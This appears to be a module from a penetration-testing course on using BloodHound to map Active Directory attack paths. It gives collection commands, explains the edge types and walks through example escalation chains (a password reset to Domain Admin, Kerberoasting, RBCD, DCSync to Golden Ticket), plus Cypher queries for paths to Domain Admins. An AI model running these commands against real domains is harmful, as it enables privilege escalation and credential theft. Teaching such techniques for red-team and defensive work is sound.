Module 3 · BloodHound — Graph Theory Meets AD 🔒

The data collection

# BloodHound Python (cross-platform, runs from attacker Linux)
bloodhound-python -u alice.smith -p Password1 -d corp.local -c All -ns 10.1.1.1

# SharpHound C# (runs from Windows, often in-memory for evasion)
SharpHound.exe --CollectionMethods All -d corp.local

# Collection methods:
# - DCOnly: minimal, LDAP only
# - Default: LDAP + session enum
# - All: everything (ACL, session, local group, loggedon)

# Output: JSON files per object type (users.json, groups.json, etc.)
# Import to BloodHound GUI via Neo4j backend

The collection itself is noisy (many LDAP queries, SMB enumeration for sessions and local groups). Detection rules exist; most environments don’t deploy them. Defensive tools (Falcon Insight, Microsoft Defender for Identity) detect SharpHound specifically.

Key edge types

• MemberOf: user in group, group in group. Classic privilege inheritance.
• AdminTo: principal is local admin on computer. Enables RCE via PsExec/WMI.
• HasSession: user has active session on computer. Compromise computer = extract cached credentials.
• GenericAll: full control of object. Can reset password, set SPN, modify ACLs.
• GenericWrite: write any property. Can set Kerberos delegation, modify attributes.
• WriteDacl: modify ACL. Can grant self any right.
• WriteOwner: change owner. New owner can grant any right.
• ForceChangePassword: can reset password without knowing current (classic helpdesk power).
• AddMember: can add members to group.
• AllowedToDelegate: constrained delegation target.
• AllowedToAct: RBCD — can act on behalf of this resource.
• DCSync: can replicate directory changes (extract all hashes).
• CanPSRemote: PowerShell Remoting access.

Real attack paths BloodHound finds

# Example 1: 3-hop path
#   alice.smith (user)
#     → MemberOf → HELPDESK_GROUP
#     → ForceChangePassword → IT_ADMIN (user, Domain Admin)
#
# Execution:
#   net rpc password IT_ADMIN "NewPassword123!" -U alice.smith
#   → Login as IT_ADMIN → full DA power

# Example 2: ACL abuse
#   alice (user) → GenericWrite → SVC_SQL (service account)
#   → Set SPN on SVC_SQL, Kerberoast, crack → SQL service admin
#   → From SQL server: extract credentials, find DA session cached

# Example 3: Delegation chain
#   bob (user) → AddMember → Computer WEB01
#   → bob makes himself allowed on WEB01 via RBCD
#   → WEB01 has unconstrained delegation or access to DA credentials
#   → Chain to DA

# Example 4: Computer as attacker
#   Any computer in Domain Computers → DCSync (unusual but happens)
#   → Any compromised computer → krbtgt hash → Golden Ticket

Advanced BloodHound queries

# Find paths ignoring group membership (pure ACL-based)
MATCH p=shortestPath((n {owned:true})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember|ForceChangePassword*1..]->(m:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

# Find shortcuts via Kerberoastable users
MATCH p=shortestPath((n:User {owned:true})-[r*1..]->(m:User {hasspn:true}))
WHERE m.enabled=true
RETURN p

# Find computers where DA session is cached
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN c

# Find users owned + all their delegation rights
MATCH (u:User {owned:true})-[r:AllowedToDelegate|AllowedToAct]->(c:Computer)
RETURN u, r, c

BloodHound Community Edition vs Enterprise

Community Edition (free, still updated): the version most pentesters use. Neo4j backend, PNG graph export, Cypher queries, built-in attack-path queries.

BloodHound Enterprise (SpecterOps, paid): continuously monitors your AD; tracks attack path count over time; risk scoring; remediation recommendations. For defenders.